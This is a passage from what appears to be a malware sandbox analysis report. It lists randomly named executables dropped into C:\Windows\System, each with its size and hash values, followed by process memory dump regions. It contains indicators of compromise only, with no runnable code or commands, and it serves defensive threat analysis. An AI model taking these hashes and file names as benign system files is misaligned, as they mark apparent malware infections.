d1ef43e097d28ada3f1e84d0c29fc8c9

SHA1
f75e5cd98917a01fc058fec805def2b7bfaafb87

SHA256
76bcfd915921fa55df6256458b43527809d8e196d8b6f7bc7189d63d861f5087

SHA512
ea8d77eb04cb14003a1d622420422ac4d21012fdf5df31359a54cabd78ba3408f91645b4bf4b594aec5c6e05219f288903d5f6fbf50d912cf14dd56d7fadd39e

Download Submit
C:\Windows\System\elIrWox.exe

Filesize
1.6MB

MD5
9651cb3c08870704240c34b60f0d50be

SHA1
3dc032f633bcb42c64060db8a1e9d5a445ba96f9

SHA256
72b565634bbd2003eecd1657f5abd291bdb2ce9562a6cca92c987aec1d579fa5

SHA512
6da65838f815251e9da3dc878173a6d88af94db387a43099628ab409bd55b0f2add4cce9629759c7ba78edfa7b2a0e1099d7cb571a5c99e0653ad652a3c6d6cd

Download Submit
C:\Windows\System\filjHvv.exe

Filesize
1.6MB

MD5
0d525049ff808609742c290a806d0d79

SHA1
2d496e3b8b364f2cab63c780109e2e0fc1626e5b

SHA256
6e6e7558a36b176e8e5240ce7e801f96de03337bfc091c149e234f493189a913

SHA512
e1ff9cb65de2133376408cb9c51e9ede1ae0d7d99df43caedcdcdd4afe60bdb2ff60f0e11c1080c47c793783fe8c34e83ad96cf016dc4b1dd3420ba275a916a8

Download Submit
C:\Windows\System\filjHvv.exe

Filesize
1.3MB

MD5
ecf362ab336e54c7bfdd9b1a15ab774e

SHA1
d16cdf9c56a97f03a031cb378300cb7f13b667af

SHA256
6d6a419df2f4688471dbdc543a1b1dd47ee033e905f57a52637346b02ffb854e

SHA512
f4d416a633ba9abe147304361d4dd4c2275e7eca1fcba03b619fb76f2a21a521f0746e81496926dadae9608a9424de9debb459819cb039ea51244b7116239394

Download Submit
C:\Windows\System\ihvXbgG.exe

Filesize
1.6MB

MD5
8d09de7b1824c570ef01b1382d7ea546

SHA1
fcccd57bf1dfe225ca6f5b613132042f90a18ec3

SHA256
48c2aff20eb19db974507630ec765ceda5ab6cb551b5449697a4baa3eba564a2

SHA512
02039c35b27c091d6f4d90264686e4532f2f19272186f20f1525b1cf9795ac0cf54d1fd8536f839127f9d9f8a7e342a72523479f002381027a4c475c912e604d

Download Submit
C:\Windows\System\jmVgbHa.exe

Filesize
1.6MB

MD5
558f06c38e23991f07b4e114aa748aca

SHA1
a8c081bc7308659508c3bc65b96d5a87057113ae

SHA256
744856b472b664f8d05eaf2269f973f8f265e53ecafad483a8bc489279071663

SHA512
8173f6fa975a36da4da7a0c6fbb2311925dced1ccff7e51ad2e35a59b856da7ef547b94a4b24da0e49ae2b21e27900a34dcb8053ad5c5b3ff7de72d92e0e7c4a

Download Submit
C:\Windows\System\mtCsvIS.exe

Filesize
1.6MB

MD5
ce6daa4adf6d84a57ef3ef1d7b8114e6

SHA1
3be3aed98ac1d8627a1f0a1b17b09a94b9198372

SHA256
355b530eb982ac8d5576fcbd1f48b6de2e620ad16487848a19c7e5dd9f896783

SHA512
be7b90e07288c8715bee3258ee21a9eab72936858d4ca55ca0863063711648b72ce30c4524dc0228808ad62095b194aae903f02065768aa02c8dec9e0189baf3

Download Submit
C:\Windows\System\qGkpjzO.exe

Filesize
1.6MB

MD5
610b414f3057bb7451e2d1fa68ad170d

SHA1
1a5c37c35eeaebcf2933b1793da97b7ca7608273

SHA256
28f9b423420e116e8c4fb1a284c12b8f6095d838bf2fcf1fae7e0fda9120a030

SHA512
92917592f26ef62c9877c41f75cee3809e86da547681222ce87511bf7cf3baa606f4cdab8383a73c44dfac65c62035c141d816514333d1cd3ca8699305a92931

Download Submit
C:\Windows\System\qehLvFe.exe

Filesize
1.6MB

MD5
802f841b3ac351d45c4b8b706a8f9472

SHA1
5b4842f3e8d8a3d78143f5f911d37277f372d8f4

SHA256
e5c8e344138676c0c889d86c08e701c6453e1ba872f9d4a27601b33de9f9b018

SHA512
538ab592f71cadb87762199fb56cdae7be1aaa53c49144c716396082210866f9a1395f3ec8dd06ad3542c13dcde7e1d97b49a60caaec66372fa8a77f8c12da5c

Download Submit
C:\Windows\System\qisCZRe.exe

Filesize
8B

MD5
8df5d7cea6f17e33b828ee09a4f8c91e

SHA1
6aaff1a3a288a0aba2a3023d517e314fe986f730

SHA256
cebffee933f857324d8ea2bd5fb8dad33034c7e30f8e9b644e83274baeadc1d6

SHA512
aee4f16c452925a2700f8c6c545adb516dd855069c67839327087aebe75765ec2637a168ea26305bfaf7ca090b0abc3820134331985dd395f3751e82867cb7ea

Download Submit
C:\Windows\System\rQUdDil.exe

Filesize
1.6MB

MD5
5b58e28e7be350d91de789bb9069149b

SHA1
92d862a107c0d1d04ced5fbb1b0fd258c41e8ac5

SHA256
f07f31811649d7f2e08044fbcfc5697fa5abe10e0ca9f6af441e5747a3181643

SHA512
880291e77295f8c9180e728c6bf31d3b2d1275715d138056726b31801193551ca1119d5c7dca78abb66e96faa1c4b1ba9dc873e972d8033d251110054ced3e20

Download Submit
C:\Windows\System\wHIyCpZ.exe

Filesize
1.6MB

MD5
17cbd67561993ebac8f555c70f6274b2

SHA1
47114942314a9bc4a4d3f263f7f79a45890a91dc

SHA256
17ea68aae6c6e2e6737a8c3a8c550183186a93de307e0879a549764d4e5c7953

SHA512
a0ce0e1b12e8c550e6d7f6bcde5f9b48422688f24f160c3366ff0dbaa821d56bc741c1fd7f922b79a211077c2330e1b19b3a1de9c6326501afa490b755029667

Download Submit
C:\Windows\System\wJzmzsB.exe

Filesize
1.6MB

MD5
94320084e5e21344f761d06937f5e508

SHA1
533c7e1e040d54c23829fa0cb35fce366ec9a2ea

SHA256
0d0339b805644ae12848960112d4510c35617d08ca02841acd8301925b24d19c

SHA512
1a3cd45a412db57def9a2af7501bfcd6e6f475dedfff4e021f59126a27a3b0a6649698990f1c4ca65b4e709b3e2f8fa643868b172c163c81d69523bd1a58936b

Download Submit
C:\Windows\System\xPlWfTr.exe

Filesize
1.6MB

MD5
4505fa2e118ada52bb8b01bb1658a8e7

SHA1
d66767c2ecaef48d819268f3696189a4143fc581

SHA256
16561c53f7685c5e89f4ec664d16306126626e3829c8dabebfe7bc49f9c4a0a7

SHA512
b9d3e4d83e3ac53efd9218812b49e3ec4a85cf19a83a5433c3c49baccb1d03f1ae36a446816a9a8d826c86a4f35973ff29475a40b021af7663c0e0aadd3453b6

Download Submit
C:\Windows\System\xPlWfTr.exe

Filesize
448KB

MD5
2264ad6cf2c3feda241e32c18cc63613

SHA1
6cf1d5079287ae747430510102276a5d8553f195

SHA256
aab1acd918f567ff34b418fd2971ffb7ad7f9284ea4d62c517c015f2e4f1d70f

SHA512
51d3f07b3e2d80ac627998a5fc071e41f8cd34e52e9d27ee547393019213fb2b53ce77d281d07d4df20e449416034194d3a784391c6fc788a552c1cba010098f

Download Submit
C:\Windows\System\xzYhLLv.exe

Filesize
1.6MB

MD5
2ca7574e9a2efe7c9dc786813e889264

SHA1
de8f9c294576089e09f44d1ef6a376e5979646b1

SHA256
a40ebb0faaebb8266877d6daa1712840c2785a427683b7e38154b22774b04cd7

SHA512
80e8a7a1db8fb6ae687d9144807b369d2ebf676af8b34a86899323af974e187b7fa38aeb8f8f1937114999df596ed3f727f0c6bc1301d6bb1dfc9787c3a797fa

Download Submit
C:\Windows\System\ywFFkJt.exe

Filesize
1.6MB

MD5
4a1de762b5d0fae1e7cd57c5b5f6d625

SHA1
64372cc4247ba859c0e6c6b99771eb77c4e11383

SHA256
fe1b9346a681b311db4c7ea2ba4cbcc0b763024595d8219b9f26c862bcd287ba

SHA512
c47b029a8005ba427ce15215e9c901ea8709bcd87d90a56aaa7872d0dd78f38d7b6b84789d84cd9aa4d1399d0f2db7337b8826c1bd191674e269f2aeaff3ac2c

Download Submit
C:\Windows\System\zQLnWvb.exe

Filesize
1.6MB

MD5
0a85e76420b45c4857587e9e3719c1f8

SHA1
6c83bf288ab7c3f1d5709c532be8882027941826

SHA256
d6ff4251af676a126423b12c9f8bb0471b4a66269b56db804e5a5ce85d5654ad

SHA512
8d669a9b50785eedf41c8d6c1158504c3cb436f1cb1bb43dd2d79a75ea0efc319fa781f1843d164f4c92773fcc83f69a11a219ec77bec297163426d856ff0e9f

Download Submit
C:\Windows\System\zymsPxp.exe

Filesize
1.6MB

MD5
9a88b06694d83ecadd6fda0b106d9100

SHA1
2737773e6e7d6d3ce41b6dfd8e60f705bc7be92b

SHA256
a1c819160620e77b2fa7f85bbef659d1422b6cf0be29691b73bfd1bb5f46ad73

SHA512
b577e5f0a8775acb710c858a6353613a9efb8c33c5d530741aba9105ae97f9400fba0cef91e04e2ef3cbfc42d677b2f56b1076808a9fec93dc5bac0a9fc3ad58

Download Submit
memory/212-2523-0x00007FF6142A0000-0x00007FF614692000-memory.dmp

Filesize
3.9MB

Download
memory/212-160-0x00007FF6142A0000-0x00007FF614692000-memory.dmp

Filesize
3.9MB

Download
memory/1096-115-0x00007FF652480000-0x00007FF652872000-memory.dmp

Filesize
3.9MB

Download
memory/1096-2517-0x00007FF652480000-0x00007FF652872000-memory.dmp

Filesize
3.9MB

Download
memory/1132-2203-0x00007FF6F39F0000-0x00007FF6F3DE2000-memory.dmp

Filesize
3.9MB

Download
memory/1132-19-0x00007FF6F39F0000-0x00007FF6F3DE2000-memory.dmp

Filesize
3.9MB

Download
memory/1264-2527-0x00007FF706670000-0x00007FF706A62000-memory.dmp

Filesize
3.9MB

Download
memory/1264-155-0x00007FF706670000-0x00007FF706A62000-memory.dmp

Filesize
3.9MB

Download
memory/1448-2315-0x00007FF697D10000-0x00007FF698102000-memory.dmp

Filesize
3.9MB

Download
memory/1448-118-0x00007FF697D10000-0x00007FF698102000-memory.dmp

Filesize
3.9MB

Download
memory/1568-11-0x00007FF73D0B0000-0x00007FF73D4A2000-memory.dmp

Filesize
3.9MB

Download
memory/1844-112-0x00007FF766470000-0x00007FF766862000-memory.dmp

Filesize
3.9MB

Download
memory/1844-2309-0x00007FF766470000-0x00007FF766862000-memory.dmp

Filesize
3.9MB

Download
memory/1976-2526-0x00007FF768770000-0x00007FF768B62000-memory.dmp

Filesize
3.9MB

Download
memory/1976-165-0x00007FF768770000-0x00007FF768B62000-memory.dmp

Filesize
3.9MB

Download
memory/2036-2296-0x00007FF7DCCE0000-0x00007FF7DD0D2000-memory.dmp

Filesize
3.9MB

Download
memory/2036-111-0x00007FF7DCCE0000-0x00007FF7DD0D2000-memory.dmp

Filesize
3.9MB

Download
memory/2212-24-0x00007FF695980000-0x00007FF695D72000-memory.dmp

Filesize
3.9MB

Download
memory/2212-2202-0x00007FF695980000-0x00007FF695D72000-memory.dmp

Filesize
3.9MB

Download
memory/2296-110-0x00007FF6736A0000-0x00007FF673A92000-memory.dmp

Filesize
3.9MB

Download
memory/2332-2201-0x00007FF7CBEA0000-0x00007FF7CC292000-memory.dmp

Filesize
3.9MB

Download
memory/2332-30-0x00007FF7CBEA0000-0x00007FF7CC292000-memory.dmp

Filesize
3.9MB

Download
memory/2344-106-0x00007FF6DC3B0000-0x00007FF6DC7A2000-memory.dmp

Filesize
3.9MB

Download
memory/2344-2244-0x00007FF6DC3B0000-0x00007FF6DC7A2000-memory.dmp

Filesize
3.9MB

Download
memory/2464-2524-0x00007FF71CB50000-0x00007FF71CF42000-memory.dmp

Filesize
3.9MB

Download
memory/2464-183-0x00007FF71CB50000-0x00007FF71CF42000-memory.dmp

Filesize
3.9MB

Download
memory/2576-2303-0x00007FF79D4E0000-0x00007FF79D8D2000-memory.dmp

Filesize
3.9MB

Download
memory/2576-113-0x00007FF79D4E0000-0x00007FF79D8D2000-memory.dmp

Filesize
3.9MB

Download
memory/2796-119-0x00007FF6EA1D0000-0x00007FF6EA5C2000-memory.dmp

Filesize
3.9MB

Download
memory/3032-2277-0x00007FF7B9410000-0x00007FF7B9802000-memory.dmp

Filesize
3.9MB

Download
memory/3032-109-0x00007FF7B9410000-0x00007FF7B9802000-memory.dmp

Filesize
3.9MB

Download
memory/3196-2515-0x00007FF7F06C0000-0x00007FF7F0AB2000-memory.dmp

Filesize
3.9MB

Download
memory/3196-175-0x00007FF7F06C0000-0x00007FF7F0AB2000-memory.dmp

Filesize
3.9MB

Download
memory/3372-2430-0x00007FF78A300000-0x00007FF78A6F2000-memory.dmp

Filesize
3.9MB

Download
memory/3372-0-0x00007FF78A300000-0x00007FF78A6F2000-memory.dmp

Filesize
3.9MB

Download
memory/3372-1-0x000001ECC3500000-0x000001ECC3510000-memory.dmp

Filesize
64KB

Download
memory/3488-46-0x00000243ADD40000-0x00000243ADD62000-memory.dmp

Filesize
136KB

Download
memory/3488-26-0x00007FF984463000-0x00007FF984465000-memory.dmp

Filesize
8KB

Download
memory/3488-226-0x00000243C8D80000-0x00000243C9526000-memory.dmp

Filesize
7.6MB

Download
memory/3488-4961-0x00007FF984460000-0x00007FF984F21000-memory.dmp

Filesize
10.8MB

Download
memory/3488-116-0x00007FF984460000-0x00007FF984F21000-memory.dmp

Filesize
10.8MB

Download
memory/3488-3489-0x00007FF984460000-0x00007FF984F21000-memory.dmp

Filesize
10.8MB

Download
memory/3488-4085-0x00007FF984460000-0x00007FF984F21000-memory.dmp

Filesize
10.8MB

Download
memory/3488-4037-0x00007FF984463000-0x00007FF984465000-memory.dmp

Filesize
8KB

Download
memory/3488-80-0x00007FF984460000-0x00007FF984F21000-memory.dmp

Filesize
10.8MB

Download
memory/3804-114-0x00007FF7B29F0000-0x00007FF7B2DE2000-memory.dmp

Filesize
3.9MB

Download
memory/3804-2525-0x00007FF7B29F0000-0x00007FF7B2DE2000-memory.dmp

Filesize
3.9MB

Download
memory/4384-2209-0x00007FF7377A0000-0x00007FF737B92000-memory.dmp

Filesize
3.9MB

Download
memory/4384-84-0x00007FF7377A0000-0x00007FF737B92000-memory.dmp

Filesize
3.9MB

Download
memory/4708-2512-0x00007FF7CE740000-0x00007FF7CEB32000-memory.dmp

Filesize
3.9MB

Download
memory/4708-193-0x00007FF7CE740000-0x00007FF7CEB32000-memory.dmp

Filesize
3.9MB

Download
memory/4912-117-0x00007FF6FFE00000-0x00007FF7001F2000-memory.dmp

Filesize
3.9MB

Download
memory/5048-2253-0x00007FF70B330000-0x00007FF70B722000-memory.dmp

Filesize
3.9MB

Download
memory/5048-108-0x00007FF70B330000-0x00007FF70B722000-memory.dmp

Filesize
3.9MB

Download
memory/5100-98-0x00007FF7D4630000-0x00007FF7D4A22000-memory.dmp

Filesize
3.9MB

Download
memory/5100-2237-0x00007FF7D4630000-0x00007FF7D4A22000-memory.dmp

Filesize
3.9MB

Download